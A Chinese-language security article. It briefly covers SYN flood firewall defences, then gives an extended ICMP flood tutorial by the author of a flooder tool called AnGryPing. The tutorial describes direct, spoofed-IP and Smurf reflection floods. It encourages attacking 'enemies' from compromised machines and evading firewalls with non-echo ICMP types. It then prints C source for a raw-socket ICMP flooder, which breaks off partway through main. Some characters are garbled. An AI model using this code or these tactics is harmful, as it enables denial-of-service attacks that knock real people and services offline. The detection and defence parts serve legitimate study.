SYN Flood攻擊
DoS(Denial of Service拒絕服務(wù))和DDoS(Distributed Denial of Service分布式拒絕服務(wù))攻擊是大型網(wǎng)站和網(wǎng)絡(luò)服務(wù)器的安全威脅之一。2000年2月,Yahoo、亞馬遜、CNN被攻擊等事例,曾被刻在重大安全事件的歷史中。SYN Flood由于其攻擊效果好,已經(jīng)成為目前最流行的DoS和DDoS攻擊手段。
SYN Flood利用TCP協(xié)議缺陷,發(fā)送了大量偽造的TCP連接請(qǐng)求,使得被攻擊方資源耗盡,無法及時(shí)回應(yīng)或處理正常的服務(wù)請(qǐng)求。一個(gè)正常的TCP連接需要三次握手,首先客戶端發(fā)送一個(gè)包含SYN標(biāo)志的數(shù)據(jù)包,其后服務(wù)器返回一個(gè)SYN/ACK的應(yīng)答包,表示客戶端的請(qǐng)求被接受,最后客戶端再返回一個(gè)確認(rèn)包ACK,這樣才完成TCP連接。在服務(wù)器端發(fā)送應(yīng)答包后,如果客戶端不發(fā)出確認(rèn),服務(wù)器會(huì)等待到超時(shí),期間這些半連接狀態(tài)都保存在一個(gè)空間有限的緩存隊(duì)列中;如果大量的SYN包發(fā)到服務(wù)器端后沒有應(yīng)答,就會(huì)使服務(wù)器端的TCP資源迅速耗盡,導(dǎo)致正常的連接不能進(jìn)入,甚至?xí)?dǎo)致服務(wù)器的系統(tǒng)崩潰。
防火墻通常用于保護(hù)內(nèi)部網(wǎng)絡(luò)不受外部網(wǎng)絡(luò)的非授權(quán)訪問,它位于客戶端和服務(wù)器之間,因此利用防火墻來阻止DoS攻擊能有效地保護(hù)內(nèi)部的服務(wù)器。針對(duì)SYN Flood,防火墻通常有三種防護(hù)方式:SYN網(wǎng)關(guān)、被動(dòng)式SYN網(wǎng)關(guān)和SYN中繼。
SYN網(wǎng)關(guān)?防火墻收到客戶端的SYN包時(shí),直接轉(zhuǎn)發(fā)給服務(wù)器;防火墻收到服務(wù)器的SYN/ACK包后,一方面將SYN/ACK包轉(zhuǎn)發(fā)給客戶端,另一方面以客戶端的名義給服務(wù)器回送一個(gè)ACK包,完成TCP的三次握手,讓服務(wù)器端由半連接狀態(tài)進(jìn)入連接狀態(tài)。當(dāng)客戶端真正的ACK包到達(dá)時(shí),有數(shù)據(jù)則轉(zhuǎn)發(fā)給服務(wù)器,否則丟棄該包。由于服務(wù)器能承受連接狀態(tài)要比半連接狀態(tài)高得多,所以這種方法能有效地減輕對(duì)服務(wù)器的攻擊。
被動(dòng)式SYN網(wǎng)關(guān)?設(shè)置防火墻的SYN請(qǐng)求超時(shí)參數(shù),讓它遠(yuǎn)小于服務(wù)器的超時(shí)期限。防火墻負(fù)責(zé)轉(zhuǎn)發(fā)客戶端發(fā)往服務(wù)器的SYN包,服務(wù)器發(fā)往客戶端的SYN/ACK包、以及客戶端發(fā)往服務(wù)器的ACK包。這樣,如果客戶端在防火墻計(jì)時(shí)器到期時(shí)還沒發(fā)送ACK包,防火墻則往服務(wù)器發(fā)送RST包,以使服務(wù)器從隊(duì)列中刪去該半連接。由于防火墻的超時(shí)參數(shù)遠(yuǎn)小于服務(wù)器的超時(shí)期限,因此這樣能有效防止SYN Flood攻擊。
SYN中繼?防火墻在收到客戶端的SYN包后,并不向服務(wù)器轉(zhuǎn)發(fā)而是記錄該狀態(tài)信息然后主動(dòng)給客戶端回送SYN/ACK包,如果收到客戶端的ACK包,表明是正常訪問,由防火墻向服務(wù)器發(fā)送SYN包并完成三次握手。這樣由防火墻做為代理來實(shí)現(xiàn)客戶端和服務(wù)器端的連接,可以完全過濾不可用連接發(fā)往服務(wù)器。
ICMP flood(ICMP洪水攻擊)
一、什么是ICMP協(xié)議?
ICMP全稱Internet Control Message Protocol(網(wǎng)際控制信息協(xié)議)。提起ICMP,一些人可能會(huì)感到陌生,實(shí)際上,ICMP與我們息息相關(guān)。在網(wǎng)絡(luò)體系結(jié)構(gòu)的各層次中,都需要控制,而不同的層次有不同的分工和控制內(nèi)容,IP層的控制功能是最復(fù)雜的,主要負(fù)責(zé)差錯(cuò)控制、擁塞控制等,任何控制都是建立在信息的基礎(chǔ)之上的,在基于IP數(shù)據(jù) 報(bào)的網(wǎng)絡(luò)體系中,網(wǎng)關(guān)必須自己處理數(shù)據(jù)報(bào)的傳輸工作,而IP協(xié)議自身沒有內(nèi)在機(jī)制來獲取差錯(cuò)信息并處理。為了處理這些錯(cuò)誤,TCP/IP設(shè)計(jì)了ICMP協(xié) 議,當(dāng)某個(gè)網(wǎng)關(guān)發(fā)現(xiàn)傳輸錯(cuò)誤時(shí),立即向信源主機(jī)發(fā)送ICMP報(bào)文,報(bào)告出錯(cuò)信息,讓信源主機(jī)采取相應(yīng)處理措施,它是一種差錯(cuò)和控制報(bào)文協(xié)議,不僅用于傳輸 差錯(cuò)報(bào)文,還傳輸控制報(bào)文。
二、ICMP報(bào)文格式
ICMP報(bào)文包含在IP數(shù)據(jù)報(bào)中,屬于IP的一個(gè)用戶,IP頭部就在ICMP報(bào)文的前面,所以一個(gè)ICMP報(bào)文包括IP頭部、ICMP頭部和ICMP報(bào)文(見圖表,ICMP報(bào)文的結(jié)構(gòu)和幾種常見的ICMP報(bào)文格式),IP頭部的Protocol值為1就說明這是一個(gè)ICMP報(bào)文,ICMP頭部中的類型 (Type)域用于說明ICMP報(bào)文的作用及格式,此外還有一個(gè)代碼(Code)域用于詳細(xì)說明某種ICMP報(bào)文的類型,所有數(shù)據(jù)都在ICMP頭部后面。 RFC定義了13種ICMP報(bào)文格式,具體如下:
類型代碼?? 類型描述
0??? 響應(yīng)應(yīng)答(ECHO-REPLY)
3??? 不可到達(dá)
4??? 源抑制
5??? 重定向
8??? 響應(yīng)請(qǐng)求(ECHO-REQUEST)
11??? 超時(shí)
12??? 參數(shù)失靈
13??? 時(shí)間戳請(qǐng)求
14??? 時(shí)間戳應(yīng)答
15??? 信息請(qǐng)求(*已作廢)
16??? 信息應(yīng)答(*已作廢)
17??? 地址掩碼請(qǐng)求
18??? 地址掩碼應(yīng)答
其中代碼為15、16的信息報(bào)文已經(jīng)作廢。
下面是幾種常見的ICMP報(bào)文:
1.響應(yīng)請(qǐng)求
我們?nèi)粘J褂米疃嗟膒ing,就是響應(yīng)請(qǐng)求(Type=8)和應(yīng)答(Type=0),一臺(tái)主機(jī)向一個(gè)節(jié)點(diǎn)發(fā)送一個(gè)Type=8的ICMP報(bào)文,如果途中沒 有異常(例如被路由器丟棄、目標(biāo)不回應(yīng)ICMP或傳輸失?。瑒t目標(biāo)返回Type=0的ICMP報(bào)文,說明這臺(tái)主機(jī)存在,更詳細(xì)的tracert通過計(jì)算 ICMP報(bào)文通過的節(jié)點(diǎn)來確定主機(jī)與目標(biāo)之間的網(wǎng)絡(luò)距離。
2.目標(biāo)不可到達(dá)、源抑制和超時(shí)報(bào)文
這三種報(bào)文的格式是一樣的,目標(biāo)不可到達(dá)報(bào)文(Type=3)在路由器或主機(jī)不能傳遞數(shù)據(jù)報(bào)時(shí)使用,例如我們要連接對(duì)方一個(gè)不存在的系統(tǒng)端口(端口號(hào)小于 1024)時(shí),將返回Type=3、Code=3的ICMP報(bào)文,它要告訴我們:“嘿,別連接了,我不在家的!”,常見的不可到達(dá)類型還有網(wǎng)絡(luò)不可到達(dá) (Code=0)、主機(jī)不可到達(dá)(Code=1)、協(xié)議不可到達(dá)(Code=2)等。源抑制則充當(dāng)一個(gè)控制流量的角色,它通知主機(jī)減少數(shù)據(jù)報(bào)流量,由于ICMP沒有恢復(fù)傳輸?shù)膱?bào)文,所以只要停止該報(bào)文,主機(jī)就會(huì)逐漸恢復(fù)傳輸速率。最后,無連接方式網(wǎng)絡(luò)的問題就是數(shù)據(jù)報(bào)會(huì)丟失,或者長(zhǎng)時(shí)間在網(wǎng)絡(luò)游蕩而找不到目標(biāo),或者擁塞導(dǎo)致主機(jī)在規(guī)定時(shí)間內(nèi)無法重組數(shù)據(jù)報(bào)分段,這時(shí)就要觸發(fā)ICMP超時(shí)報(bào)文的產(chǎn)生。超時(shí)報(bào)文的代碼域有兩種取值:Code=0表示傳輸超 時(shí),Code=1表示重組分段超時(shí)。
3.時(shí)間戳
時(shí)間戳請(qǐng)求報(bào)文(Type=13)和時(shí)間戳應(yīng)答報(bào)文(Type=14)用于測(cè)試兩臺(tái)主機(jī)之間數(shù)據(jù)報(bào)來回一次的傳輸時(shí)間。傳輸時(shí),主機(jī)填充原始時(shí)間戳,接收方收到請(qǐng)求后填充接收時(shí)間戳后以Type=14的報(bào)文格式返回,發(fā)送方計(jì)算這個(gè)時(shí)間差。一些系統(tǒng)不響應(yīng)這種報(bào)文。
三、回到正題:這樣的攻擊有效嗎?
在前面講過了,ping使用的是ECHO應(yīng)答,不知道大家注意過沒有,ping的返回很慢,用NetXRAY抓包僅為1–5包/秒,這是為什么呢?事實(shí) 上,ICMP本身并不慢(由于ICMP是SOCK_RAW產(chǎn)生的原始報(bào)文,速度比SOCK_STREAM的SYN和SOCK_DGRAM的UDP要快幾乎 10倍?。@樣的速度是ping程序故意延遲的(為什么?M$可不想每個(gè)人都能用ping來干壞事),同樣,我測(cè)試過一些號(hào)稱“ping洪水”的程序, 發(fā)現(xiàn)它們的效率和ping.exe沒什么兩樣,經(jīng)過Dependency Walker查看程序調(diào)用的函數(shù)發(fā)現(xiàn),他們用的是icmp.dll提供的IcmpSendEcho這個(gè)API,這個(gè)函數(shù)是計(jì)算ECHO時(shí)間的,速度當(dāng)然 慢!而那兩個(gè)“高手”號(hào)召的ping攻擊實(shí)際上就是為了實(shí)現(xiàn)ICMP洪水攻擊,但是他們用的方法……想想洪水的速度和山澗小溪的速度相差多少吧!就用ping.exe和IcmpSendEcho這種小溪慢慢流淌的速度能做什么?還不是讓人家看笑話!這種攻擊根本就是浪費(fèi)自己的時(shí)間?。ㄈ缃襁€經(jīng)常有人問 ping -l 65500 -t的攻擊威力如何……哎,悲哀啊悲哀……)
四、什么是ICMP洪水?
1.ICMP洪水的成因
ping.exe和IcmpSendEcho速度慢的另一個(gè)原因是它們必須等待目標(biāo)主機(jī)返回REPLY信息,這個(gè)過程需要花費(fèi)大量時(shí)間,而Flood—— 洪水,顧名思義,是速度極快的,當(dāng)一個(gè)程序發(fā)送數(shù)據(jù)包的速度達(dá)到了每秒1000個(gè)以上,它的性質(zhì)就成了洪水產(chǎn)生器,洪水?dāng)?shù)據(jù)是從洪水產(chǎn)生器里出來的,但這 樣還不夠,沒有足夠的帶寬,再猛的洪水也只能像公路塞車那樣慢慢移動(dòng),成了雞肋。要做真正的洪水,就需要有一條足夠?qū)挼母咚俟凡趴梢浴O慢的發(fā)送速度+56Kbps小貓等于什么?等于一個(gè)未關(guān)緊的水龍頭,根本沒用。
由于ping.exe無法提速,這就需要專門的工具來做洪水了。足夠快的數(shù)據(jù)包速度+足夠的帶寬,這才是洪水。
2.實(shí)現(xiàn)ICMP洪水的前提
最大的前提是攻擊者的速度!如果你要用56K撥號(hào)去攻擊一個(gè)512KbpsADSL用戶,后果和一只螞蟻伸腿想絆倒大象的天方夜譚是一樣的!其次是你的機(jī)器運(yùn)行速度和數(shù)據(jù)吞吐量,由于涉及IP校驗(yàn)和的計(jì)算(先設(shè)置頭校驗(yàn)和域的數(shù)值為0,然后對(duì)整個(gè)數(shù)據(jù)報(bào)頭按每16位求異或,再把結(jié)果取反,就得到了校驗(yàn)和),如果數(shù)據(jù)處理能力不夠,在這步就慢了一個(gè)級(jí)別,效果當(dāng)然大打折扣。最后就是目標(biāo)機(jī)器的帶寬!如果對(duì)方比你大很多(例如你2M ADSL,別人用DDN或T1),那么任何Flood都是無病呻吟,撓癢都不夠?。ㄏM灰賳枴靶〗?,你的R-Series怎么不好用啊”、“我用小金 的AnGryPing攻擊別人半天都沒事!”、“獨(dú)裁者的攻擊怎么無效啊?”這樣的問題了,天啊,我頭都大了!)
還有許多人都忽略的問題:發(fā)送的速度與數(shù)據(jù)包大小成反比,而且太大的數(shù)據(jù)包會(huì)被路由器等設(shè)備過濾掉!找到一個(gè)合適的數(shù)據(jù)包大小,對(duì)提高Flood的效率有很大幫助!
3.洪水——兩敗俱傷的攻擊方式
別以為洪水無所不能,實(shí)際上,你展開洪水攻擊時(shí),攻擊程序在消耗對(duì)方帶寬和資源時(shí),也在消耗你的帶寬和資源。這只是個(gè)看誰撐得住的攻擊而已。實(shí)際上,有經(jīng)驗(yàn)的攻擊者都是用被控制的服務(wù)器(肉雞)來代替自己的機(jī)器發(fā)動(dòng)攻擊的,不到萬不得已或者你對(duì)自己的機(jī)器網(wǎng)速有自信,否則盡量少用自己的機(jī)器來拼搏!
五、不同方式的ICMP洪水
1.直接Flood
要做這個(gè)的首要條件是你的帶寬夠,然后就是要一個(gè)好用的ICMP Flooder,別用ping.exe那種探路用的垃圾,例如我以前發(fā)布的AnGryPing,發(fā)包速度達(dá)到6000—9000包/秒(512Kbps ADSL),默認(rèn)是32bytes的ECHO報(bào)文洪水,用它即使不能flood別人下去,防火墻也叫得夠慘的了。直接攻擊會(huì)暴露自己IP(如果對(duì)方?jīng)]有還擊能力那還無所謂,固定IP用戶不推薦使用這種Flood),直接Flood主要是為了顧及Win9x/Me不能偽造IP的缺陷,否則一般還是別用為妙。
簡(jiǎn)單示意圖:
ICMP
攻擊者[IP=211.97.54.3]———————————>受害者[截獲攻擊者IP=211.97.54.3]==>換IP回來反擊,嘿嘿
2.偽造IP的Flood
如果你是Win2000/XP并且是Administrator權(quán)限,可以試試看FakePing,它能隨意偽造一個(gè)IP來Flood,讓對(duì)方摸不到頭腦,屬于比較隱蔽陰險(xiǎn)的Flood。
簡(jiǎn)單示意圖:
偽造IP=1.1.1.1的ICMP
攻擊者[IP=211.97.54.3]———————————>受害者[截獲攻擊者IP=1.1.1.1]==>倒死
3.反射
用采取這種方式的第一個(gè)工具的名稱來命名的“Smurf”洪水攻擊,把隱蔽性又提高了一個(gè)檔次,這種攻擊模式里,最終淹沒目標(biāo)的洪水不是由攻擊者發(fā)出的,也不是偽造IP發(fā)出的,而是正常通訊的服務(wù)器發(fā)出的!
實(shí)現(xiàn)的原理也不算復(fù)雜,Smurf方式把源IP設(shè)置為受害者IP,然后向多臺(tái)服務(wù)器發(fā)送ICMP報(bào)文(通常是ECHO請(qǐng)求),這些接收?qǐng)?bào)文的服務(wù)器被報(bào)文欺騙,向受害者返回ECHO應(yīng)答(Type=0),導(dǎo)致垃圾阻塞受害者的門口……
從示意圖可以看出,它比上面兩種方法多了一級(jí)路徑——受騙的主機(jī)(稱為“反射源”),所以,一個(gè)反射源是否有效或者效率低下,都會(huì)對(duì)Flood效果造成影響!
簡(jiǎn)單示意圖:
偽造受害者的ICMP????????????????????應(yīng)答
攻擊者[IP=211.97.54.3]————————–>正常的主機(jī)—————>受害者[截獲攻擊者IP=……網(wǎng)易?!]==>哭啊……
以上是幾種常見的Flood方式,在測(cè)試中,我發(fā)現(xiàn)一個(gè)有趣的現(xiàn)象:一些防火墻(如天網(wǎng))只能攔截ECHO請(qǐng)求(Ping)的ICMP報(bào)文,對(duì)于其他 ICMP報(bào)文一概睜只眼閉只眼,不知道其他防火墻有沒有這個(gè)情況。所以想神不知鬼不覺對(duì)付你的敵人時(shí),請(qǐng)盡量避開直接ECHO Flood,換用Type=0的ECHO應(yīng)答或Type=14的時(shí)間戳應(yīng)答最好,其他類型的ICMP報(bào)文沒有詳細(xì)測(cè)試過,大家可以試試看Type=3、 4、11的特殊報(bào)文會(huì)不會(huì)有更大效果。
六、ICMP Flood能防嗎?
先反問你一個(gè)問題:洪水迅猛的沖來時(shí),你能否拿著一個(gè)臉盆來抵擋?(坐上臉盆做現(xiàn)代魯賓遜倒是個(gè)不錯(cuò)的主意,沒準(zhǔn)能漂到MM身邊呢)
軟件的網(wǎng)絡(luò)防火墻能對(duì)付一些漏洞、溢出、OOB、IGMP攻擊,但是對(duì)于洪水類型的攻擊,它們根本無能為力,我通常對(duì)此的解釋是“傾倒垃圾”:“有蟑螂或老鼠在你家門前逗留,你可以把它們趕走,但如果有人把一車?yán)鴥A倒在你家門口呢?”前幾天看到mikespook大哥對(duì)此有更體面的解釋,轉(zhuǎn)載過來——“香蕉皮原理:如果有人給你一個(gè)香蕉和一個(gè)香蕉皮你能區(qū)分,并把沒有用的香蕉皮扔掉。(一般軟件防火墻就是這么判斷并丟棄數(shù)據(jù)包的。)但是如果有人在同一時(shí) 間內(nèi)在你身上倒一車香蕉皮,你再能區(qū)分有用沒用也沒啥作用了~~因?yàn)槟惚幌憬镀ぱ蜎]了~~~~(所以就算防火墻能區(qū)分是DoS的攻擊數(shù)據(jù)包,也只能識(shí)別, 根本來不及丟棄~~死了,死了,死了~~)”
所以,洪水沒法防!能做的只有提高自己的帶寬和預(yù)防洪水的發(fā)生(雖然硬件防火墻和分流技術(shù)能做到,但那價(jià)格是太昂貴的,而且一般人也沒必要這樣做)。
如果你正在被攻擊,最好的方法是抓取攻擊者IP(除非對(duì)方用第一種,否則抓了沒用——假的IP)后,立即下線換IP?。ㄊ裁矗磕闶枪潭↖P?沒轍了,打電話找警察叔叔吧)
七、被ICMP Flood攻擊的特征
如何發(fā)現(xiàn)ICMP Flood?
當(dāng)你出現(xiàn)以下癥狀時(shí),就要注意是否正被洪水攻擊:
1.傳輸狀態(tài)里,代表遠(yuǎn)程數(shù)據(jù)接收的計(jì)算機(jī)圖標(biāo)一直亮著,而你沒有瀏覽網(wǎng)頁或下載
2.防火墻一直提示有人試圖ping你
3.網(wǎng)絡(luò)速度奇慢無比
4.嚴(yán)重時(shí)系統(tǒng)幾乎失去響應(yīng),鼠標(biāo)呈跳躍狀行走
如果出現(xiàn)這些情況,先不要慌張,冷靜觀察防火墻報(bào)警的頻率及IP來確認(rèn)是否普通的Ping或是洪水,做出相應(yīng)措施(其實(shí)大多數(shù)情況也只能換IP了)。
1.普通ping
這種“攻擊”一般是對(duì)方掃描網(wǎng)絡(luò)或用ping -t發(fā)起的,沒多大殺傷力(這個(gè)時(shí)候,防火墻起的作用就是延遲攻擊者的數(shù)據(jù)報(bào)發(fā)送間隔時(shí)間,請(qǐng)別關(guān)閉防火墻!否則后果是嚴(yán)重的?。?,通常表現(xiàn)如下:
==============================================================
[13:09:20] 61.151.252.106 嘗試用Ping 來探測(cè)本機(jī),
該操作被拒絕。
[13:09:24]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:26]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:30]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
=============================================================
這么慢的速度,很明顯是由ping.exe或IcmpSendEcho發(fā)出的,如果對(duì)方一直不停的讓你的防火墻吵鬧,你可以給他個(gè)真正的ICMP Flood問候。
2.直接Flood
這是比較夠勁的真正意義洪水了,防火墻的報(bào)警密度會(huì)提高一個(gè)數(shù)量級(jí):
==============================================================
[13:09:20] 61.151.252.106 嘗試用Ping 來探測(cè)本機(jī),
該操作被拒絕。
[13:09:20]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:20]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:20]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:20]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:20]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:20]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:20]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:20]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:20]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:20]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:20]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:20]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:20]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:20]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:21]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:21]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:21]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:21]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:21]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:21]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:21]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[13:09:21]61.151.252.106 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
=============================================================
這時(shí)候你的防火墻實(shí)際上已經(jīng)廢了,換個(gè)IP吧。
3.偽造IP的Flood
比較厲害的ICMP Flood,使用的是偽造的IP而且一樣大密度,下面是the0crat用56K撥號(hào)對(duì)我的一次攻擊測(cè)試的部分?jǐn)?shù)據(jù)(看看時(shí)間,真暈了,這可是56K小貓而已?。?br />
=============================================================
[18:52:12] 1.1.1.1 嘗試用Ping 來探測(cè)本機(jī),
該操作被拒絕。
[18:52:12] 1.1.1.1 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[18:52:12] 1.1.1.1 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[18:52:12] 1.1.1.1 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[18:52:12] 1.1.1.1 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[18:52:12] 1.1.1.1 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[18:52:12] 1.1.1.1 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[18:52:12] 1.1.1.1 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[18:52:12] 1.1.1.1 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[18:52:12] 1.1.1.1 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[18:52:12] 1.1.1.1 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[18:52:12] 1.1.1.1 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[18:52:12] 1.1.1.1 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[18:52:12] 1.1.1.1 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[18:52:12] 1.1.1.1 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
[18:52:13] 1.1.1.1 嘗試用Ping來探測(cè)本機(jī),
該操作被拒絕。
=============================================================
無言…………
4、反射ICMP Flood
估計(jì)現(xiàn)在Smurf攻擊還沒有多少人會(huì)用(R-Series的RSS.EXE就是做這事的,RSA.EXE和RSC.EXE分別用作SYN反射和UDP反射),所以這種方法還沒有大規(guī)模出現(xiàn),但Smurf是存在的!而且這個(gè)攻擊方法比前面幾種更恐怖,因?yàn)楣裟愕氖谴缶W(wǎng)站(或一些受苦受難的服務(wù)器)!
我正在被網(wǎng)易、萬網(wǎng)和新浪網(wǎng)站攻擊中(懶得修改天網(wǎng)策略,直接用其他工具抓的。實(shí)際攻擊中,反射的IP會(huì)多幾倍!)
=======================================================================
[15:26:32] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 210.192.103.30(Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
=======================================================================
可以看出,攻擊者使用的是32bytes的ECHO請(qǐng)求,所以服務(wù)器返回52-20=32bytes的REPLY報(bào)文,在這個(gè)情況下,天網(wǎng)是不會(huì)報(bào)警的。
還是那句話,報(bào)警也沒用了。
八、自己編寫ICMP Flooder
以上說的都是理論,如何才能自己寫一個(gè)呢?相信很多人已經(jīng)躍躍欲試了,下面就用VC6.0來寫一個(gè)直接的ICMP Flooder(能在Win98/Me環(huán)境使用)……先等等——最重要的是原理。
1.程序原理
當(dāng)然不能用IcmpSendEcho來做,我們必須自己從最原始的IP報(bào)文里做一個(gè)。構(gòu)造一個(gè)SOCK_RAW報(bào)文后,填充ICMP數(shù)據(jù)和計(jì)算校驗(yàn)和(CheckSum),循環(huán)sendto發(fā)出去就完成了,so easy!
2.ICMP報(bào)文的聲明
一個(gè)ICMP報(bào)文包括IP頭部、ICMP頭部和ICMP報(bào)文,用IPPROTO_ICMP創(chuàng)建這個(gè)類型的IP包,用以下結(jié)構(gòu)填充:
typedef struct _ihdr
{
BYTE i_type; //8位類型
BYTE i_code; //8位代碼
USHORT i_cksum; //16位校驗(yàn)和
USHORT i_id; //識(shí)別號(hào)
USHORT i_seq; //報(bào)文序列號(hào)
ULONG timestamp; //時(shí)間戳
}ICMP_HEADER;
這樣我們就聲明了一個(gè)ICMP報(bào)文結(jié)構(gòu),就等后面的填充了。
3.校驗(yàn)和
計(jì)算方法:先設(shè)置頭校驗(yàn)和域的數(shù)值為0,然后對(duì)整個(gè)數(shù)據(jù)報(bào)頭按每16位求異或,再把結(jié)果取反,就得到了校驗(yàn)和。
函數(shù):
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
4.必須注意的問題
由于Win98/Me系統(tǒng)不支持IP-Spoof,所以無法用setsockopt設(shè)置IP_HDRINCL讓用戶自己填充IP頭部,所以Win98 /Me不能實(shí)現(xiàn)IP偽造!如果有人做的號(hào)稱能偽造IP的工具而且又支持Win98/Me,那一定是吹出來的,因?yàn)檫@是系統(tǒng)限制,程序沒法解決的。而且自己填充IP頭部后,CheckSum就不是由系統(tǒng)計(jì)算了,這時(shí)候你的CheckSum計(jì)算函數(shù)就變成瓶頸了,這就是偽造IP后的Flooder發(fā)送速度不夠 系統(tǒng)計(jì)算CheckSum的Flooder快的原因了,除非優(yōu)化過CheckSum函數(shù)。限于篇幅,采用IP-Spoof技術(shù)的FakePing和Smurf就不討論了。
5.完整代碼
做一個(gè)Console Application工程,輸入下面的代碼。如果優(yōu)化得當(dāng),最終編譯生成的EXE也就4096字節(jié)而已,呵呵,justdo it……
==================================================
/*
agp.c
AnGryPing — ICMPFlooder by HBU·小金(LK007)
Copyright(C) 2002
E-MAIL:lk007@163.com
*/
#include<stdio.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, “ws2_32.lib”)
//頭文件和庫文件聲明,如果不能編譯,請(qǐng)?jiān)贚ink里加上ws2_32.lib
#define false 0
#define true 1
#define SEQ0x28376839
// 定義ICMP首部
typedef struct _ihdr
{
BYTE i_type; //8位類型
BYTE i_code; //8位代碼
USHORT i_cksum; //16位校驗(yàn)和
USHORT i_id; //識(shí)別號(hào)
USHORT i_seq; //報(bào)文序列號(hào)
ULONG timestamp; //時(shí)間戳
}ICMP_HEADER;
//計(jì)算校驗(yàn)和的子函數(shù)
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
int main(int argc,char **argv)
{
int datasize,ErrorCode,flag;
int TimeOut=2000, SendSEQ=0,PacketSize=32,type=8,code=0,counter=0; //默認(rèn)數(shù)據(jù)聲明
char SendBuf[65535]={0}; //緩沖
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
ICMP_HEADER icmp_header;
char DestIp[20]; //目標(biāo)IP
?? if(argc<2)
{
printf(“AngryPing by HBU-LK007\n”);
printf(“Usage:%s [Dest] <PacketSize><type> <code>\n”,argv[0]);
